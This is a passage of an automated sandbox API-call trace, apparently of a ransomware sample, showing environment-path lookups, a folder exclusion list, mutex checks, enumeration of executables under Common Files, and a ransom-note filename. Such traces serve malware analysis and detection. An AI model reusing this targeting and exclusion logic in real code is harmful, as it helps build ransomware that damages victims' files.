out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.207] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\i\x02") returned 46 [0041.207] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.207] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\i\x02") returned 15 [0041.208] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.208] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0041.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=11, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\i\x02") returned 11 [0041.208] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.208] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.208] GlobalUnlock (hMem=0x440004) returned 0 [0041.208] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.208] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.208] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.208] GlobalUnlock (hMem=0x440004) returned 0 [0041.208] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.208] GlobalUnlock (hMem=0x44000c) returned 0 [0041.208] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\i\x02") returned 15 [0041.208] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=11, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\i\x02") returned 11 [0041.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\i\x02") returned 9 [0041.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\i\x02") returned 18 [0041.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\i\x02") returned 28 [0041.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=10, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\i\x02") returned 10 [0041.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=8, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\i\x02") returned 8 [0041.210] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\i\x02") returned 9 [0041.210] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\", cchLength=0x1e | out: lpsz="c:\\program files\\common files\\") returned 0x1e [0041.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\i\x02") returned 13 [0041.210] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.210] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.210] GlobalUnlock (hMem=0x44000c) returned 0 [0041.210] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.210] GlobalLock (hMem=0x440004) returned 0x550178 [0041.210] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.210] GlobalUnlock (hMem=0x44000c) returned 0 [0041.210] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.210] GlobalUnlock (hMem=0x440004) returned 0 [0041.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61c58, cbMultiByte=3, lpWideCharStr=0x18e458, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\i\x02") returned 3 [0041.210] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*.*", lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa030c8f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa030c8f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x522d20 [0041.210] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa030c8f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa030c8f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.210] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b44280, ftCreationTime.dwHighDateTime=0x1d5392f, ftLastAccessTime.dwLowDateTime=0x98d84680, ftLastAccessTime.dwHighDateTime=0x1d5a366, ftLastWriteTime.dwLowDateTime=0x98d84680, ftLastWriteTime.dwHighDateTime=0x1d5a366, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="carrying.exe", cAlternateFileName="")) returned 1 [0041.210] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f448 | out: lpLocalFileTime=0x18f448) returned 1 [0041.211] FileTimeToDosDateTime (in: lpFileTime=0x18f448, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0041.211] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.211] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.211] GlobalUnlock (hMem=0x440004) returned 0 [0041.211] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.211] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.211] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.211] GlobalUnlock (hMem=0x440004) returned 0 [0041.211] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.211] GlobalUnlock (hMem=0x44000c) returned 0 [0041.211] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.211] CharLowerBuffW (in: lpsz="carrying.exe", cchLength=0xc | out: lpsz="carrying.exe") returned 0xc [0041.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0041.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\carrying.exe", cchWideChar=42, lpMultiByteStr=0x18e3c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\carrying.exe ", lpUsedDefaultChar=0x0) returned 42 [0041.212] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0041.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exexe ", lpUsedDefaultChar=0x0) returned 4 [0041.212] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0041.212] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ecc490, ftCreationTime.dwHighDateTime=0x1d5bbe2, ftLastAccessTime.dwLowDateTime=0x52be0660, ftLastAccessTime.dwHighDateTime=0x1d592ec, ftLastWriteTime.dwLowDateTime=0x52be0660, ftLastWriteTime.dwHighDateTime=0x1d592ec, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashfxp.exe", cAlternateFileName="")) returned 1 [0041.212] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0041.212] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0041.212] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.212] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.212] GlobalUnlock (hMem=0x44000c) returned 0 [0041.212] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.212] GlobalLock (hMem=0x440004) returned 0x550178 [0041.212] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.212] GlobalUnlock (hMem=0x44000c) returned 0 [0041.212] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.212] GlobalUnlock (hMem=0x440004) returned 0 [0041.212] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.212] CharLowerBuffW (in: lpsz="flashfxp.exe", cchLength=0xc | out: lpsz="flashfxp.exe") returned 0xc [0041.212] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.213] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0041.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\flashfxp.exe", cchWideChar=42, lpMultiByteStr=0x18e3c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\flashfxp.exe ", lpUsedDefaultChar=0x0) returned 42 [0041.213] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0041.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exexe ", lpUsedDefaultChar=0x0) returned 4 [0041.213] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0041.213] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0041.213] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0041.213] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eb52670, ftCreationTime.dwHighDateTime=0x1d5a529, ftLastAccessTime.dwLowDateTime=0x5ae41960, ftLastAccessTime.dwHighDateTime=0x1d56961, ftLastWriteTime.dwLowDateTime=0x5ae41960, ftLastWriteTime.dwHighDateTime=0x1d56961, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spgagentservice.exe", cAlternateFileName="SPGAGE~1.EXE")) returned 1 [0041.213] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0041.213] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0041.213] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.213] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.213] GlobalUnlock (hMem=0x440004) returned 0 [0041.213] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.214] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.214] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.214] GlobalUnlock (hMem=0x440004) returned 0 [0041.214] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.214] GlobalUnlock (hMem=0x44000c) returned 0 [0041.214] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.214] CharLowerBuffW (in: lpsz="spgagentservice.exe", cchLength=0x13 | out: lpsz="spgagentservice.exe") returned 0x13 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, 